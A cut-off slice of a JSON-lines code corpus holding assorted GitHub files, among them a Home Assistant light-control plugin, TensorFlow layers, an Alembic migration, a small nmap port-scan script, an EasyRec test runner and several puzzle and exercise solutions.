your light.\")\n }\n )\n ]\n }\n )\n ]\n )\n\n # Intents describe how your plugin may be activated.\n # At the simplest level, just write all the things you think\n # someone might say if they wanted to activate your\n # plugin. Finally, supply a link to the handle method,\n # which Naomi will use when your intent is selected.\n def intents(self):\n return {\n 'MyIntent': {\n 'locale': {\n 'en-US': {\n 'keywords': {\n 'LightNameKeyword': self.light.keys(),\n 'StateKeyword': [\n 'ON',\n 'OFF'\n ]\n },\n 'templates': [\n 'TURN THE LIGHT {StateKeyword}',\n 'TURN THE {LightNameKeyword} {StateKeyword}',\n 'TURN {StateKeyword} THE LIGHT',\n 'TURN {StateKeyword} THE {LightNameKeyword}'\n ]\n }\n },\n 'action': self.handle\n }\n }\n\n # The handle method is where you pick up after Naomi has\n # identified your intent as the one the user was attempting\n # to activate.\n def handle(self, intent, mic):\n # The intent parameter is a structure with information about\n # the user request. intent['input'] will hold the transcription\n # of the user's request.\n if 'StateKeyword' in intent['matches']:\n if(len(intent['matches']['StateKeyword']) > 0):\n to_state = intent['matches']['StateKeyword'][0]\n # If there is only one light, select it\n which_light = None\n if(len(self.light) == 1):\n which_light = list(self.light.keys())[0]\n if 'LightNameKeyword' in intent['matches']:\n if(len(intent['matches']['LightNameKeyword']) > 0):\n which_light = intent['matches']['LightNameKeyword'][0]\n if which_light:\n light_id = self.light[which_light]\n # The mic parameter is a microphone object that you can\n # use to respond to the user.\n api_url = \"{}/api/services/light/turn_{}\"\n\n # Control the light.\n try:\n api_response = requests.post(api_url.format(self.url, to_state.lower()), json={\n \"entity_id\": light_id\n }, headers={\n \"Authorization\": f\"Bearer {self.api_token}\",\n })\n print(f\"Turning the {which_light} {to_state}\")\n print(f\"Response: {api_response.text}\")\n response = json.loads(api_response.text)\n mic.say(f\"The {which_light} is {response[0]['state']}\")\n except requests.exceptions.ConnectionError:\n mic.say(f\"Sorry, I could not connect to the Home Assistant server at {self.url}\")\n","repo_name":"aaronchantrill/Naomi_HomeAssistant","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72025493954","text":"from typing import List\nfrom lark import Tree\nfrom amarna.Result import PositionType, getPosition\nfrom amarna.rules.GenericGatherer import GenericGatherer\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass EventEmitType:\n \"\"\"Represents an event emit (a function call of the emit method for a @event function).\"\"\"\n\n event_name: str\n event_emit_position: PositionType\n\n\n@dataclass\nclass FunctionEmittingEvent:\n \"\"\"A function that emits events, and their locations.\"\"\"\n\n function_name: str\n function_position: PositionType\n function_location: str\n events_emitted_list: List[EventEmitType]\n\n\nclass FunctionsEmittingEventsGatherer(GenericGatherer):\n GATHERER_NAME = \"FunctionsEmittingEvents\"\n\n def __init__(self) -> None:\n super().__init__()\n self.functions_emitting_events: List[FunctionEmittingEvent] = []\n\n def get_gathered_data(self) -> List[FunctionEmittingEvent]:\n return self.functions_emitting_events\n\n def code_element_function(self, tree: Tree) -> None:\n function_name = None\n\n for child in tree.children:\n if child.data == \"identifier_def\":\n function_name = str(child.children[0])\n break\n\n assert function_name != None\n\n events_emitted_list: List[EventEmitType] = []\n\n for call in tree.find_data(\"function_call\"):\n if len(call.children) > 0:\n ids = call.children[0]\n assert ids.data == \"identifier\"\n if len(ids.children) == 2 and ids.children[1] == \"emit\":\n event_name = ids.children[0]\n event_position = getPosition(ids)\n events_emitted_list.append(EventEmitType(event_name, event_position))\n\n if events_emitted_list:\n event = FunctionEmittingEvent(\n function_name, getPosition(tree), self.fname, events_emitted_list\n )\n self.functions_emitting_events.append(event)\n","repo_name":"crytic/amarna","sub_path":"amarna/rules/gatherer_rules/FunctionsEmittingEventsGatherer.py","file_name":"FunctionsEmittingEventsGatherer.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":142,"dataset":"github-code","pt":"61"} +{"seq_id":"26003142139","text":"import tensorflow as tf\n\nclass CropLayer2D(tf.layers.Layer):\n def __init__(self, img_in, *args, **kwargs):\n self.img_in = img_in\n super(CropLayer2D, self).__init__(*args, **kwargs)\n\n def build(self, input_shape):\n self.crop_size = self.img_in.get_shape().as_list()[1:3]\n super(CropLayer2D, self).build(input_shape)\n\n def call(self, x, mask=False):\n input_shape = tf.shape(x)\n cs = tf.shape(self.img_in)\n input_shape = input_shape[1:3]\n cs = cs[1:3]\n dif = (input_shape - cs)/2\n if tf.rank(x) == 5:\n return x[:, :, dif[0]:dif[0]+cs[0], dif[1]:dif[1]+cs[1], :]\n return x[:, dif[0]:dif[0]+cs[0], dif[1]:dif[1]+cs[1], :]\n\n def compute_output_shape(self, input_shape):\n return ((input_shape[:1]) + (self.crop_size[0], self.crop_size[1]) + (input_shape[-1], ))\n\nclass NdSoftmax(tf.layers.Layer):\n '''N-dimensional Softmax\n Will compute the Softmax on channel_idx and return a tensor of the\n same shape as the input'''\n def __init__(self, data_format='default', *args, **kwargs):\n self.channel_index = 3\n super(NdSoftmax, self).__init__(*args, **kwargs)\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n def NdSoftmax( x, mask=None):\n ch_idx = 3\n l_idx = tf.rank(x) - 1 # last index\n x = tf.transpose(\n x, tuple(i for i in range(tf.rank(x)) if i != ch_idx) + (ch_idx,))\n sh = tf.shape(x)\n x = tf.reshape(x, (-1, sh[-1]))\n x = tf.nn.softmax(x)\n x = tf.reshape(x, sh)\n x = tf.transpose(\n x, tuple(range(ch_idx) + [l_idx] + range(ch_idx, l_idx)))\n return x","repo_name":"JoseLGomez/SemanticSegmentation_TF","sub_path":"layers/ourlayers.py","file_name":"ourlayers.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35280118243","text":"\"\"\"permission for account coordinators\n\nRevision ID: 32b50299e3a3\nRevises: 5659632c7b2a\nCreate Date: 2020-07-28 15:14:56.380084\n\n\"\"\"\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.sql import column, table\n\n\n# revision identifiers, used by Alembic.\nrevision = '32b50299e3a3'\ndown_revision = '5659632c7b2a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n permissions_table = table('permissions',\n column('id', sa.Integer()),\n column('membership_type_code', sa.String(length=15)),\n column('actions', sa.String(length=100)))\n\n # Insert code values\n op.bulk_insert(\n permissions_table,\n [\n {'id': '18', 'membership_type_code': 'USER', 'actions': 'VIEW_ACCOUNT'},\n {'id': '19', 'membership_type_code': 'COORDINATOR', 'actions': 'VIEW_ACCOUNT'}\n ]\n )\n\n\ndef downgrade():\n op.execute('delete from permissions where id=18')\n op.execute('delete from permissions where id=19')\n\n","repo_name":"bcgov/sbc-auth","sub_path":"auth-api/migrations/versions/32b50299e3a3_permission_for_account_coordinators.py","file_name":"32b50299e3a3_permission_for_account_coordinators.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"13873550159","text":"from datetime import datetime\nimport pandas as pd\n\n\ndef check(data, holidays):\n date_, _ = data.split()\n yy, mm, dd = date_.split(\"-\")\n if mm + '/' + dd in holidays:\n return 0\n\n dt = datetime(int(yy), int(mm), int(dd))\n # print(dt)\n if dt.weekday() > 4:\n return 0\n\n return 1\n\n\ndef solution(join_date, resign_date, holidays):\n a, b, c = join_date.split(\"/\")\n c, d = c.split()\n start = a + '-' + b + '-' + c\n\n r1, r2, r3 = resign_date.split(\"/\")\n end = r1 + '-' + r2 + '-' + r3\n\n date_range = pd.date_range(start, end)\n answer = 0\n for i in date_range:\n answer += check(str(i), holidays)\n\n # print(answer)\n return answer\n\nsolution(\"0001/12/01 SUN\", \"0003/03/02\", [\"01/02\", \"12/24\", \"03/01\"])","repo_name":"whiskey21/my-algorithm-book","sub_path":"데브/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23542045061","text":"#!/usr/bin/env python\n\nimport sys\n\n\ndef min_flips(layout, flipper_width):\n flips = 0\n while len(layout) > flipper_width:\n if layout[-1]:\n layout.pop()\n else:\n flips += 1\n for i in xrange(len(layout)-flipper_width, len(layout)):\n layout[i] = not layout[i]\n if len(filter(lambda x: x, layout)) == len(layout):\n return flips\n elif len(filter(lambda x: not x, layout)) == len(layout):\n return flips + 1\n else:\n return -1\n\n\ndef solve_from_input():\n case_count = int(sys.stdin.readline().strip())\n for i in xrange(1, case_count + 1):\n rawlayout, width = sys.stdin.readline().strip().split()\n width = int(width)\n layout = []\n for x in rawlayout:\n layout.append(True if x == '+' else False)\n solution = min_flips(layout, width)\n sys.stdout.write('Case #{}: '.format(i))\n if solution == -1:\n sys.stdout.write('IMPOSSIBLE\\n')\n else:\n sys.stdout.write('{}\\n'.format(solution))\n\n\nif __name__ == '__main__':\n solve_from_input()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/1971.py","file_name":"1971.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37451478172","text":"import nmap\nimport csv\n\nnmp = nmap.PortScanner()\n\nf = open('host.csv', 'r')\nread = csv.reader(f)\nfor line in read:\n\tif line[0] == 'name':\n\t\tpass\n\telse:\n\t\tnmp.scan(line[1], '22-443')\n\n\n\t\tfor hst in nmp.all_hosts():\n\t\t\tprint('----------------------------------------------------')\n\t\t\tprint('Host: %s (%s)' % (hst, nmp[hst].hostname()))\n\t\t\tprint('State: %s' % nmp[hst].state())\n\t\t\tfor prtcl in nmp[hst].all_protocols():\n\t\t\t\tprint('----------')\n\t\t\t\tprint('Protocol : %s' % prtcl)\n\t\t\t\tlport = nmp[hst][prtcl].keys()\n\t\t\t\tlport.sort()\n\t\t\t\tfor port in lport:\n\t\t\t\t\tprint ('port : %s \\t state : %s' % (port, nmp[hst][prtcl][port]['state']))\nf.close()\n","repo_name":"caiotelles/nmap","sub_path":"nmap.py","file_name":"nmap.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27331703487","text":"import os\nimport cv2\nimport numpy as np\nfrom PIL import Image, ImageDraw\n\n\ndef visualize_detection(image, result, threshold=0.5, save_dir=None):\n \"\"\"\n Visualize bbox and mask results\n \"\"\"\n\n image_name = os.path.split(image)[-1]\n image = Image.open(image).convert('RGB')\n image = draw_bbox_mask(image, result, threshold=threshold)\n if save_dir is not None:\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n out_path = os.path.join(save_dir, 'visualize_{}'.format(image_name))\n image.save(out_path, quality=95)\n else:\n return image\n\n\ndef visualize_segmentation(image, result, weight=0.6, save_dir=None):\n \"\"\"\n Convert segment result to color image, and save added image.\n Args:\n image: the path of origin image\n result: the predict result of image\n weight: the image weight of visual image, and the result weight is (1 - weight)\n save_dir: the directory for saving visual image\n \"\"\"\n label_map = result['label_map']\n color_map = get_color_map_list(256)\n color_map = np.array(color_map).astype(\"uint8\")\n # Use OpenCV LUT for color mapping\n c1 = cv2.LUT(label_map, color_map[:, 0])\n c2 = cv2.LUT(label_map, color_map[:, 1])\n c3 = cv2.LUT(label_map, color_map[:, 2])\n pseudo_img = np.dstack((c1, c2, c3))\n\n im = cv2.imread(image)\n vis_result = cv2.addWeighted(im, weight, pseudo_img, 1 - weight, 0)\n\n if save_dir is not None:\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n image_name = os.path.split(image)[-1]\n out_path = os.path.join(save_dir, 'visualize_{}'.format(image_name))\n cv2.imwrite(out_path, vis_result)\n else:\n return vis_result\n\n\ndef get_color_map_list(num_classes):\n \"\"\" Returns the color map for visualizing the segmentation mask,\n which can support arbitrary number of classes.\n Args:\n num_classes: Number of classes\n Returns:\n The color map\n \"\"\"\n color_map = num_classes * [0, 0, 0]\n for i in range(0, num_classes):\n j = 0\n lab = i\n while lab:\n color_map[i * 3] |= (((lab >> 0) & 1) << (7 - j))\n color_map[i * 3 + 1] |= (((lab >> 1) & 1) << (7 - j))\n color_map[i * 3 + 2] |= (((lab >> 2) & 1) << (7 - j))\n j += 1\n lab >>= 3\n color_map = [color_map[i:i + 3] for i in range(0, len(color_map), 3)]\n return color_map\n\n\n# expand an array of boxes by a given scale.\ndef expand_boxes(boxes, scale):\n \"\"\"\n \"\"\"\n w_half = (boxes[:, 2] - boxes[:, 0]) * .5\n h_half = (boxes[:, 3] - boxes[:, 1]) * .5\n x_c = (boxes[:, 2] + boxes[:, 0]) * .5\n y_c = (boxes[:, 3] + boxes[:, 1]) * .5\n\n w_half *= scale\n h_half *= scale\n\n boxes_exp = np.zeros(boxes.shape)\n boxes_exp[:, 0] = x_c - w_half\n boxes_exp[:, 2] = x_c + w_half\n boxes_exp[:, 1] = y_c - h_half\n boxes_exp[:, 3] = y_c + h_half\n\n return boxes_exp\n\n\ndef clip_bbox(bbox):\n xmin = max(min(bbox[0], 1.), 0.)\n ymin = max(min(bbox[1], 1.), 0.)\n xmax = max(min(bbox[2], 1.), 0.)\n ymax = max(min(bbox[3], 1.), 0.)\n return xmin, ymin, xmax, ymax\n\n\ndef draw_bbox_mask(image, results, threshold=0.5, alpha=0.7):\n labels = list()\n for dt in np.array(results):\n if dt['category'] not in labels:\n labels.append(dt['category'])\n color_map = get_color_map_list(len(labels))\n\n for dt in np.array(results):\n cname, bbox, score = dt['category'], dt['bbox'], dt['score']\n if score < threshold:\n continue\n\n xmin, ymin, w, h = bbox\n xmax = xmin + w\n ymax = ymin + h\n\n color = tuple(color_map[labels.index(cname)])\n\n # draw bbox\n draw = ImageDraw.Draw(image)\n draw.line([(xmin, ymin), (xmin, ymax), (xmax, ymax), (xmax, ymin),\n (xmin, ymin)],\n width=2,\n fill=color)\n\n # draw label\n text = \"{} {:.2f}\".format(cname, score)\n tw, th = draw.textsize(text)\n draw.rectangle([(xmin + 1, ymin - th), (xmin + tw + 1, ymin)],\n fill=color)\n draw.text((xmin + 1, ymin - th), text, fill=(255, 255, 255))\n\n # draw mask\n if 'mask' in dt:\n mask = dt['mask']\n color_mask = np.array(color_map[labels.index(\n dt['category'])]).astype('float32')\n img_array = np.array(image).astype('float32')\n idx = np.nonzero(mask)\n img_array[idx[0], idx[1], :] *= 1.0 - alpha\n img_array[idx[0], idx[1], :] += alpha * color_mask\n image = Image.fromarray(img_array.astype('uint8'))\n return image\n","repo_name":"ljk1072911239/PaddleX","sub_path":"paddlex/cv/models/utils/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":4701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"5729583231","text":"\nimport numpy as np\nimport itertools\nimport time\n\ndef get_features(atom_distances, atom_types, n_terms=2, bubble_radius=1.0,\n sigma=0.05):\n \"\"\"\n Parameters\n ----------\n atom_distances : np.ndarray\n a single frame's atom-atom distances\n atom_types : np.ndarray\n the atom type for each atom in the atom distance matrix\n n_terms : int, optional\n number of terms\n bubble_radius : float, optional\n radius to use when calculating the terms here. To be \n honest it would be better to actually look at atoms\n that are all within this radius of ALL atoms in the\n k-tuple. But this isn't precisely how I have it implemnted \n sigma : float, optional\n standard deviation of each atom's gaussian density\n\n Returns\n -------\n features : np.ndarray\n features is an array of shape (n_atoms, n_features), where\n n_features is given by the number of different k-tuples\n which comes from the number of atom types\n \"\"\"\n\n n_atoms = len(atom_types)\n n_types = len(np.unique(atom_types))\n\n C = lambda k : 0.5 / k / float(sigma)**2\n\n E_all = np.exp(- C(2) * atom_distances)\n\n features = [] # will append features per atom every loop\n combo_strs = []\n for k in xrange(2, n_terms + 2):\n combos = itertools.combinations_with_replacement(np.unique(atom_types), k)\n for c in combos:\n combo_strs.append('.'.join([str(i) for i in np.sort(c)]))\n combo_strs = np.array(combo_strs)\n n_features = len(combo_strs)\n\n for aind in xrange(n_atoms):\n neighbors = np.where(atom_distances[aind] <= bubble_radius)[0]\n neighbors = neighbors[np.where(neighbors != aind)]\n\n atom_features = np.zeros(n_features)\n \n for k in xrange(2, n_terms + 2):\n a = time.time()\n combo_tensor = np.zeros(tuple([n_types] * k))\n\n other_ainds = itertools.combinations(neighbors, k - 1)\n k_tuples = ((aind,) + others for others in other_ainds)\n for ainds in k_tuples:\n temp = 1.0\n for i in xrange(k):\n for j in xrange(i + 1, k):\n temp *= E_all[ainds[i], ainds[j]]\n combo_tensor[tuple([atom_types[i] for i in ainds])] += temp\n \n for indices in itertools.product(*[np.arange(n_types)] * k):\n combo_str = '.'.join([str(i) for i in np.sort([atom_types[i] for i in indices])])\n feature_ind = np.where(combo_str == combo_strs)[0][0]\n\n atom_features[feature_ind] += combo_tensor[indices]\n\n features.append(atom_features)\n\n features = np.array(features)\n \n return features, combo_strs\n","repo_name":"schwancr/water","sub_path":"src/perwaterbubble.py","file_name":"perwaterbubble.py","file_ext":"py","file_size_in_byte":2749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1262491220","text":"'''\nFollows pairs, each and produces macro or micro f1 scores,\neither by attribute alone (pooled over values) or by attribute-value combination.\n'''\nfrom numpy import average\n\n__author__ = \"Yuval Pinter, November 2016\"\n\ndef f1(corr, gold, obs):\n if gold <= 0 or obs <= 0 or corr <= 0:\n return 0\n rec = corr / gold\n pre = corr / obs\n return (2 * rec * pre) / (rec + pre)\n\nclass Evaluator(object):\n '''\n Aggregates and evaluates attribute scores in several available modes:\n att - pool scores by attribute over values\n att_val - separate scores for each pair\n exact - only compute accuracy for full tag (all attributes in instance)\n '''\n\n def __init__(self, m='att'):\n self.instance_count = 0\n self.exact_match = 0\n self.correct = {}\n self.gold = {}\n self.observed = {}\n self.mode = m\n\n def add_instance(self, g, o):\n '''\n :param g: - gold annotation for instance\n :param o: - observed (inferred) annotation for instance\n '''\n self.instance_count = self.instance_count + 1\n if self.mode == 'exact':\n if g == o: # order-insensitive\n self.exact_match = self.exact_match + 1\n return\n\n for (k, v) in list(g.items()):\n key = self._key(k, v)\n if o.get(k, 'NOT A VALUE') == v:\n self.correct[key] = self.correct.get(key, 0) + 1 # for macro-micro\n self.gold[key] = self.gold.get(key, 0) + 1 # mac-mic\n\n for (k, v) in list(o.items()):\n key = self._key(k, v)\n self.observed[key] = self.observed.get(key, 0) + 1 # mac-mic\n\n def _key(self, k, v):\n if self.mode == 'att':\n return k\n if self.mode == 'att_val':\n return (k,v)\n\n def mic_f1(self, att = None):\n '''\n Micro F1\n :param att: get f1 for specific attribute (exact match)\n '''\n if att != None:\n return f1(self.correct.get(att, 0), self.gold.get(att, 0), self.observed.get(att, 0))\n return f1(sum(self.correct.values()), sum(self.gold.values()), sum(self.observed.values()))\n\n def mac_f1(self, att = None):\n '''\n Macro F1\n :param att: only relevant in att_val mode, otherwise fails (use mic_f1)\n '''\n all_keys = set().union(list(self.gold.keys()), list(self.observed.keys()))\n if att == None:\n keys = all_keys\n else:\n keys = [k for k in all_keys if k[0] == att]\n return average([f1(self.correct.get(k, 0), self.gold.get(k, 0), self.observed.get(k, 0)) for k in keys])\n\n def acc(self):\n '''\n Accuracy for 'exact_match' mode\n '''\n if self.instance_count <= 0:\n return 0.0\n return self.exact_match / self.instance_count\n","repo_name":"yuvalpinter/Mimick","sub_path":"evaluate_morphotags.py","file_name":"evaluate_morphotags.py","file_ext":"py","file_size_in_byte":2886,"program_lang":"python","lang":"en","doc_type":"code","stars":148,"dataset":"github-code","pt":"61"} +{"seq_id":"34626787179","text":"import logging\nimport os\nimport sys\nimport unittest\n\nimport tensorflow as tf\n\nfrom easy_rec.python.utils import test_utils\n\nif tf.__version__ >= '2.0':\n tf = tf.compat.v1\n\ntf.app.flags.DEFINE_bool('list_tests', False, 'list all tests')\ntf.app.flags.DEFINE_string('list_test_to_file', None, 'list all tests')\ntf.app.flags.DEFINE_string('pattern', '*_test.py', 'test file pattern')\ntf.app.flags.DEFINE_string('test_dir', 'easy_rec/python/test',\n 'directory to be tested')\ntf.app.flags.DEFINE_integer('num_parallel', 10,\n 'number of parallel executed cases.')\ntf.app.flags.DEFINE_integer('timeout', 3600,\n 'maximal execute time in seconds for each case.')\nFLAGS = tf.flags.FLAGS\n\n\ndef gather_test_cases(test_dir, pattern):\n discover = unittest.defaultTestLoader.discover(\n test_dir, pattern=pattern, top_level_dir=None)\n all_tests = []\n for suite_discovered in discover:\n for test_case in suite_discovered:\n if 'ModuleImportFailure' in str(test_case):\n logging.error('Failed to gather case: %s' % str(test_case))\n sys.exit(1)\n if '_FailedTest' in str(test_case):\n logging.error('Failed to gather case: %s' % str(test_case))\n logging.error('Detail message: %s' % test_case.debug())\n sys.exit(1)\n if hasattr(test_case, '__iter__'):\n for subcase in test_case:\n toks = subcase.id().split('.')\n case_file = toks[0]\n case_name = '.'.join(toks[1:])\n if (case_file, case_name) not in all_tests:\n all_tests.append((case_file, case_name))\n else:\n toks = test_case.id().split('.')[0]\n case_file = toks[0]\n case_name = '.'.join(toks[1:])\n if (case_file, case_name) not in all_tests:\n all_tests.append((case_file, case_name))\n if FLAGS.list_test_to_file:\n logging.info('Total number of cases: %d' % len(all_tests))\n logging.info('save test lists to %s' % FLAGS.list_test_to_file)\n with open(FLAGS.list_test_to_file, 'w') as fout:\n for t_file, t_name in all_tests:\n fout.write('%s %s\\n' % (t_file, t_name))\n elif FLAGS.list_tests:\n logging.info('Total number of cases: %d' % len(all_tests))\n for t_file, t_name in all_tests:\n logging.info('\\t%s.%s' % (t_file, t_name))\n return all_tests\n\n\ndef main(argv):\n all_tests = gather_test_cases(os.path.abspath(FLAGS.test_dir), FLAGS.pattern)\n if FLAGS.list_tests or FLAGS.list_test_to_file:\n return\n\n test_dir = os.environ.get('TEST_DIR', '.')\n if not os.path.isdir(test_dir):\n os.makedirs(test_dir)\n test_log_dir = os.path.join(test_dir, 'logs')\n if not os.path.exists(test_log_dir):\n os.makedirs(test_log_dir)\n logging.info('Total number of cases: %d test_dir: %s' %\n (len(all_tests), test_dir))\n\n max_num_port_per_proc = 3\n total_port_num = (max_num_port_per_proc + 2) * FLAGS.num_parallel\n all_available_ports = test_utils.get_ports_base(total_port_num).tolist()\n\n procs = {}\n failed_cases = []\n for case_file, case_name in all_tests:\n while len(procs) >= FLAGS.num_parallel:\n procs_done = []\n for proc in procs:\n if proc.poll() is not None:\n if proc.returncode != 0:\n fail_file, fail_name, _ = procs[proc]\n failed_cases.append((fail_file, fail_name, proc.returncode))\n procs_done.append(proc)\n for proc in procs_done:\n _, _, tmp_ports = procs[proc]\n all_available_ports.extend([int(x) for x in tmp_ports.split(',')])\n del procs[proc]\n cmd = 'python -m easy_rec.python.test.%s %s' % (case_file, case_name)\n log_file = '%s/%s.%s.log' % (test_log_dir, case_file, case_name)\n tmp_ports = ','.join(\n [str(x) for x in all_available_ports[:max_num_port_per_proc]])\n all_available_ports = all_available_ports[max_num_port_per_proc:]\n\n logging.info('Run %s.%s Log: %s' % (case_file, case_name, log_file))\n case_envs = dict(os.environ)\n case_envs['ports'] = tmp_ports\n proc = test_utils.run_cmd(cmd, log_file, env=case_envs)\n procs[proc] = (case_file, case_name, tmp_ports)\n\n for proc in procs:\n try:\n test_utils.proc_wait(\n proc, timeout=int(os.environ.get('TEST_TIME_OUT', 1200)))\n except Exception as ex:\n fail_file, fail_name = procs[proc]\n logging.info('Case Exception: %s.%s %s' % (fail_file, fail_name, str(ex)))\n proc.kill()\n\n if proc.returncode != 0:\n fail_file, fail_name, _ = procs[proc]\n failed_cases.append((fail_file, fail_name, proc.returncode))\n\n if len(failed_cases) > 0:\n logging.info('Number Cases Failed: %d' % len(failed_cases))\n for fail_file, fail_name, exit_code in failed_cases:\n logging.info('\\t%s.%s failed, exit_code:%d log: %s.%s.log' %\n (fail_file, fail_name, exit_code, fail_file, fail_name))\n return 1\n else:\n logging.info('TestSucceed.')\n return 0\n\n\nif __name__ == '__main__':\n tf.app.run()\n","repo_name":"alibaba/EasyRec","sub_path":"easy_rec/python/test/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4963,"program_lang":"python","lang":"en","doc_type":"code","stars":1284,"dataset":"github-code","pt":"61"} +{"seq_id":"9948845608","text":"MENU = {\n \"espresso\": {\n \"ingredients\": {\n \"water\": 50,\n \"coffee\": 18,\n },\n \"cost\": 1.5,\n },\n \"latte\": {\n \"ingredients\": {\n \"water\": 200,\n \"milk\": 150,\n \"coffee\": 24,\n },\n \"cost\": 2.5,\n },\n \"cappuccino\": {\n \"ingredients\": {\n \"water\": 250,\n \"milk\": 100,\n \"coffee\": 24,\n },\n \"cost\": 3.0,\n }\n}\n\nincome = 0\nresources = {\n \"water\": 500,\n \"milk\": 200,\n \"coffee\": 100,\n}\nis_on = True\n\n\ndef display_menu():\n \"\"\" Returns the available menu\"\"\"\n print(\"☕☕☕☕☕\")\n counter = 0\n for item in MENU:\n counter += 1\n print(f\"{counter}. {item}\")\n print(\"☕☕☕☕☕ \")\n\n\ndef check_resources(ingredients):\n for item in ingredients:\n if ingredients[item] >= resources[item]:\n print(f\"Sorry,There is no {item} for making that coffee\")\n return False\n return True\n\n\ndef coins_processing():\n print(\"please insert coins: quarters,dimes,nickles,pennies)\\n\")\n total = int(input(\"How many quarters :\")) * 0.25\n total += int(input(\"How many dimes:\")) * 0.1\n total += int(input(\"How many nickles \")) * 0.05\n total += int(input(\"how many pennies \")) * 0.01\n return total\n\n\ndef is_transaction_complete(money_received, drink_cost):\n if money_received > drink_cost:\n global income\n income += drink_cost\n change = round(money_received - drink_cost, 2)\n print(f\"Here is the changes {change}\")\n return True\n else:\n print(\"Money is not enough\")\n return False\n\n\ndef make_coffee(drink_name, order_ingredients):\n for item in order_ingredients:\n resources[item] -= order_ingredients[item]\n print(f\"☕☕☕ Enjoy your {drink_name} ☕☕☕ \")\n\n\nprint(\"\"\"\n☕☕☕☕☕☕☕☕☕☕☕☕☕☕☕☕☕☕☕☕\n=========== Drink coffee for life =========\n\"\"\")\nprint(\"\"\"\nFollow the instructions to use the coffee machine \n- Type to turn it off\n- Type report to see the usage report \n- Type menu to view the available coffee \"\"\")\n\nwhile is_on:\n choice = input(\"what would you like ?espresso/latte/cappuccino\\n\")\n if choice == 'off':\n is_on = False\n elif choice == 'menu':\n print(\"Available coffee types :\")\n display_menu()\n elif choice == 'report':\n print(f\"water: {resources['water']}ml\")\n print(f\"milk: {resources['milk']}ml\")\n print(f\"coffee: {resources['coffee']}g\")\n print(f\"Total income $ {income}\")\n elif choice == 'espresso' or choice == 'latte' or choice == 'cappuccino':\n drink = MENU[choice]\n if check_resources(drink['ingredients']):\n \"\"\"quarters = $0.25, dimes = $0.10, nickles = $0.05, pennies = $0.01\"\"\"\n payment = coins_processing()\n is_transaction_complete(payment, drink['cost'])\n make_coffee(choice, drink['ingredients'])\n else:\n print(\"Invalid choice.try again\")\n","repo_name":"mbonabucya/python-recipes","sub_path":"Coffee Machine/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14106533684","text":"class Solution:\n def largestDivisibleSubset(self, nums: List[int]) -> List[int]:\n dp = [set([])] * len(nums)\n nums.sort()\n ans = []\n for i in range(len(nums)):\n for j in range(i + 1):\n if nums[i] % nums[j] == 0 and len(dp[j]) + 1 > len(dp[i]):\n dp[i] = dp[j].copy()\n dp[i].add(nums[i])\n if len(dp[i]) > len(ans): ans = dp[i]\n return ans","repo_name":"Sol-cito/LeetCoding","sub_path":"largest-divisible-subset/largest-divisible-subset.py","file_name":"largest-divisible-subset.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2633328736","text":"import fileinput\nfrom collections import Counter\n\n\ndef transpose(grid):\n return list(zip(*grid))\n\n\ndef part1(rows):\n gamma = ''\n epsilon = ''\n\n columns = transpose(rows)\n\n for column in columns:\n c = Counter(column)\n\n gamma += c.most_common()[0][0]\n epsilon += c.most_common()[1][0]\n\n gamma = int(gamma, 2)\n epsilon = int(epsilon, 2)\n\n return gamma * epsilon\n\n\ndef calc_fancy_rating(rows, func):\n guesses = rows\n for i in (range(len(rows[0]))):\n c = Counter(item[i] for item in guesses)\n\n guesses = list(filter(lambda item: item[i] == func(c), guesses))\n if len(guesses) == 1:\n break\n else:\n raise ValueError(\"Did not find one scrub value\")\n\n return int(guesses[0], 2)\n\n\ndef calc_co2_scrubber_rating(rows):\n return calc_fancy_rating(rows, lambda c: '1' if c['0'] > c['1'] else '0')\n\n\ndef calc_oxygen_generator_rating(rows):\n return calc_fancy_rating(rows, lambda c: '0' if c['0'] > c['1'] else '1')\n\n\ndef part2(rows):\n oxygen_generator_rating, CO2_scrubber_rating = calc_oxygen_generator_rating(rows), calc_co2_scrubber_rating(rows)\n\n return oxygen_generator_rating * CO2_scrubber_rating\n\n\ndef main():\n with fileinput.input() as raw_data:\n data = [line.rstrip() for line in raw_data]\n\n print(part1(data))\n print(part2(data))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"paul-schwendenman/advent-of-code","sub_path":"2021/day03.py","file_name":"day03.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15658279085","text":"\"\"\"create new repressief object\"\"\"\nimport os\n\nfrom qgis.PyQt import uic\nimport 